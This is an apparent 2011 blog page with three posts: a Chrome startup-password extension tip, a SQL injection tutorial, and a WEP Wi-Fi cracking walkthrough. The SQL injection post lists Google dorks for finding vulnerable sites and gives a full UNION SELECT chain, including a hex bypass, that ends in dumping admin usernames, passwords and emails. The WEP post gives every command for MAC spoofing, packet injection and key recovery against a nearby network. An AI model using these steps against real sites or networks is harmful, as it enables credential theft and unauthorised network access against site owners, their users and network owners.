Saturday, October 29, 2011

Password protect your Google Chrome browser | Simple Startup Password


If you want to protect your browser by password , you can do it easily in chrome by using a simple add on. Why do you need to protect your browser by password?? You know better.. yeah..
If you use remember me option in many websites login, you should have to protect your browser for your accounts protection. 
Use Simple Startup Password chrome extension which you can find in chrome's extension gallery.


Install the add-on on your chrome and then go to Settings --> Tools -->Extensions --> Simple Startup Password and click on Options. Set a password for your browser and done.Now it will ask for a password every time when you will start your browser.


Download here:


You have to reinstall your chrome if you forgot the password.

Saturday, October 15, 2011

Basic SQL Injection Tutorial





What is SQL Injection?

SQL Injection (Or SQLi for short) is a method of code injection into Structured Query Language (SQL) databases. It exploits a security issue where a user's input is not correctly filtered, usually due to poorly coded query language interpreters.
Consider this code:
Code:
statement = "SELECT * FROM `members` WHERE `user` = '" + user + "';"

The above statement selects the specified "user" from the "members" table. Do you see any problems with this? Consider the following input as a username:
Code:
' or 'x' = 'x

When the database tries to pull up records of that username, this is the resulting query:
Code:
SELECT * FROM `members` WHERE `user` = '' OR 'x'='x';

Now, as you can see, the username is actually completely blank contained within the '', but the following OR statement will return true, as 'x' always = 'x'. Due to this problem of incorrectly filtering database queries, the hacker can input his/her own malicious code.

The above was just one example of SQL Injection, what we will be learning in this tutorial, is integer based SQL Injection using the ORDER BY and UNION SELECT queries.


Googe Dorks?

Before we get started on the rest of the tutorial, you will need to know what a Google dork is, and no, it's not the kind of dork you are thinking of!
A google dork is a small search phrase done by the hacker to find sites vulnerable to SQL Injection. Usually this search term will be very small and it will look for specific lines of text within the webpage or in the URL. I've included some here as a start:
Code:
inurl:trainers.php?id=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:Pageid=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:staff_id=
inurl:news_view.php?id=
inurl:humor.php?id=
inurl:pages.php?id=
inurl:view.php?id=
inurl:detail.php?ID=
inurl:publications.php?id=
inurl:Productinfo.php?id=
inurl:releases.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:section.php?id=
inurl:page.php?id=
inurl:newsid=
inurl:news_display.php?getid=


Is my site vulnerable?

Now after you have found a site using a Google dork you need to check if it is vulnerable to integer based SQL Injection. To do this, it's simple. All you need to do is add an apostrophe ( ' )to end of the URL. You should get an error similar to this back:
Code:
Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1

If you get this error, it usually means your site is vulnerable!


ORDER BY x--

Our first step to accessing the database, will to be find how many columns there are in the site. To do this, we use the ORDER BY x-- query (x being an integer variable). Example:
Code:
www.examplesite.com/index.php?id=5 ORDER BY 1--

We want to keep increasing "x" until we get back an error. So why? Imagine our database has 4 columns, if we try to order by the 5th, it can't access it. It doesn't exist. So if we get an error on ORDER BY 5--, it means we have 4 columns. Here is an example:
Code:
www.examplesite.com/index.php?id=5 ORDER BY 1-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 2-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 3-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 4-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 5-- (Error)

We can now determine the site has 4 columns.


UNION SELECT

We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "UNION SELECT 1,2,3,4--" (without quotes) after it. In our example, we use "1,2,3,4--", but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".
Code:
www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,3,4--

You have probably noticed several numbers have appeared on the page. This is the vulnerable columns we are going to use for our SQLi. In our example, column 3 is vulnerable. You have also probably noticed I have replaced id=5 with id=-5. The reason for this is that sometimes our query on the page will be covered up by text or images, making it hard to find, or only viewable in the source code. To bypass this, we try to get the site to call a non-existing page (id=-5, there are no pages with the ID of -5). Usually this will result in the page being cleared of all text and images. If it doesn't work, just remove the - and continue on as normal.


VERSION()

This will be one of the easier things to do and understand, the name of the query itself is self explanatory. After we have tested UNION SELECT (and it works) we simply input VERSION() into one of the vulnerable columns in our URL, example:
Code:
http://www.examplesite.com/index.php?id=-5 union select 1,2,VERSION(),4--

We had 4 columns in our example and the vulnerable column was number 3. We have replaced the number 3 with VERSION(). You should now see the SQL version of the database. This tutorial will only deal with Integer based injection on SQL version 5 and above.

If our target has a version over 5, continue reading, if not, you need to find a new target or read a different tutorial.


Table_name

Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace VERSION() with group_concat(table_name). Then after your last column number, add "from information_schema.tables--". Example:
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4 from information_schema.tables--

What this code is doing, is combining the queries of column 1,2,3 and 4. In column 4, it is selecting all possible table names. These queries are then taken from information_schema.tables. You should now see a list of all table names on the screen.


Column_name

To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. What we want to use is a table which seems like it would include some good information, for our example, we are going to say we found the table "admin". Example:
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--

Here, as before, we are combining the queries of 1,2,3 and 4. In column 3 we are requesting all of the column names from information_schema.columns, but this time only from where the table_name is equal to "admin". Otherwise we would get the name of every column in the database, and this would just take much longer to go through.


Magic Quotes?

One common problem when completing the Column_Name stage is that they still recieve an error. This can be frustrating to those new to SQL Injection, so I'm going to cover the reason for this.

The problem here, is that the admin of the site has attempted to outsmart you by using "Magic Quotes". What this does, is it only allows you to select from the table if the table_name is in hex. You can convert your table name to hex by going here:
http://www.swingnote.com/tools/texttohex.php

Our query will now look like this:
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61646d696e--

You have most likely noticed that if you convert our plaintext column name into hex, the 0x isn't shown. The 0x is something we put in ourselves, which tells the site that the following text is going to be in hex.


Extracting Data

To finish off, we need to extract the data from the columns we have chosen. Once we found out the column_names, we can then use them in our group_concat() query to get exactly what we have been looking for. In our example, we will have found the column names "username", "password" and "email.
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email) from admin--

This query extracts the usernames, passwords and emails from the admin table. Remember I told you what 0x does? Well you will notice it again in our last query. 0x3a is the hex code for a colon ( : ). It is used so we can seperate our results easier, by doing this, we will get returned the following:
Code:
ExUser1:ExPass1:ExEmail1
ExUser2:ExPass2:ExEmail2
ExUser3:ExPass3:ExEmail3

Thursday, October 6, 2011

How to Crack a Wi-Fi Network’s WEP Password with BackTrack


Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.
Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.

What You'll Need

How to Crack a Wi-Fi Network's WEP Password with BackTrackUnless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:
  • A compatible wireless adapter—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon.Update: Don't do what I did. Get the Alfa AWUS036H, not the US050NH, instead. The guy in this video below is using a $12 model he bought on Ebay (and is even selling his router of choice). There are plenty of resources on getting aircrack-compatible adapters out there.
  • A BackTrack 3 Live CD. We already took you on a full screenshot tour of how to install and use BackTrack 3, the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. (I tried the BackTrack 4 pre-release, and it didn't work as well as BT3. Do yourself a favor and stick with BackTrack 3 for now.)
  • A nearby WEP-enabled Wi-Fi network. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.
  • Patience with the command line. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.

Crack That WEP

To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
First run the following to get a list of your network interfaces:
airmon-ng
The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).
Now, run the following four commands. See the output that I got for them in the screenshot below.

airmon-ng stop (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)
How to Crack a Wi-Fi Network's WEP Password with BackTrackIf you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.
Now it's time to pick your network. Run:
airodump-ng (interface)
To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.
How to Crack a Wi-Fi Network's WEP Password with BackTrackLike I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.
Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:
airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)
Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking.
How to Crack a Wi-Fi Network's WEP Password with BackTrack
You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face.
How to Crack a Wi-Fi Network's WEP Password with BackTrack
You're almost there. Now it's time for:
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.)
Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.
How to Crack a Wi-Fi Network's WEP Password with BackTrack
Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected:
aircrack-ng -b (bssid) (file name-01.cap)
Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension.
If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this:
The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network.